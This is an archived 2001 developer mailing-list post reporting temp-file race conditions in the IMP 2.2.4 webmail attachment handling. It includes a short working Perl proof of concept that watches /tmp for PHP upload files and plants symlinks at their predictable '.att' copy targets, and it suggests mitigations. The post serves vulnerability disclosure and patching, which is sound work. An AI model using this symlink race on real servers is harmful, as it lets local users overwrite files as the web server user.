[dev] imp-2.2.4 tmpfile problems ?

[Jarno Huuskonen]

On Mon, May 21, Brent J. Nordquist wrote:
> Well, I think the burden of proof is on the one identifying the issue.
> :-)  If you have a working exploit, pass it along.

Ok, I wrote this 'sophisticated' test script (that seems to work just fine
for me ...):
#!/usr/bin/perl
# Proof of concept for imp-2.2.4 tempfile 'vulnerability' ;-)
# This script really sucks ...
# Jarno Huuskonen 21.05.2001

sub checkfiles() {
    while (</tmp/php*>) {
        my ($tmp) = "$_.att";
        print "tmpfile '$_' -> '$tmp'\n";
        if (! -l $tmp) {
            system("/bin/ln -s /tmp/Gotcha $tmp");
            print "Symlinking\n"
        }
        return 0;
    }
    return 1;
}
while (&checkfiles) {
    sleep(1);
}

I tested this with both php-3.0.18 / php-4.0.5 with upload_tmp_dir set
to /tmp (safe mode off) ... The script doesn't work 100% of the time but
should prove the problem. (NOTE this won't work if you run it on Linux
with openwall kernel patch).

(The idea of the script is to scan /tmp for filenames like phpXXXXXX
(they are created with the php form upload) and when a file is found
the program creates a symlink /tmp/phpXXXXXX.att -> what file you want to
write to (/tmp/Gotcha)).

I just started the script and used imp's compose to upload attachments and
just checked if the script worked (/tmp/Gotcha appeared).

Like I mentioned in my earlier mail using upload_tmp_dir (that's only
nobody:nobody writable) is a one way to compat the problem. IMHO 
upload_tmp_dir/safe_mode should be mentioned in imp/docs/SECURITY.

Is the upcoming 2.2.5 going to have any security patches ?
I think that 2.2.4 has these tempfile problems:
- the copy '.att' problem 
- imp/lib/mimetypes.lib uses predictable filenames like:
  /tmp/imp.' . date('Y-M-D_H:i:s') . '__' . md5($contents)
  (if the $contents comes from the users attachment then the user can control
   what the filename is going to be)

- (and the php3 problem that: php-3.0.18 doesn't use mkstemp/O_EXCL in tempnam
  (this is not imp problem, but might be worth mentioning in 
   imp/docs/SECURITY))

> If I'm reading the code right, in safe mode, copy() checks to ensure that
> both the source and the target are owned by the uid of the current
> process.  I can't see how there can be a /tmp race here... you would have
> to create the target as the web server uid, which local (non-super-)users
> can't do.

Ok, so when imp calls
copy(safe_file($file_upload),safe_file($file_upload).'.att') the destination
.att file has to exist ?
If that's the case I think that the copy call would always fail, because
the destination file is not supposed to exist ?

> It also seems to me that any /tmp race, sym. link, or other issues with
> PHP's copy() function and upload mechanism would be PHP issues, not
> Horde/IMP issues, wouldn't they?

IMHO the problem here is that imp(2.2.4) uses highly predictable destination 
filename.

-Jarno

-- 
Jarno Huuskonen - System Administrator   |  Jarno.Huuskonen@uku.fi
University of Kuopio - Computer Center   |  Work:   +358 17 162822
PO BOX 1627, 70211 Kuopio, Finland       |  Mobile: +358 40 5388169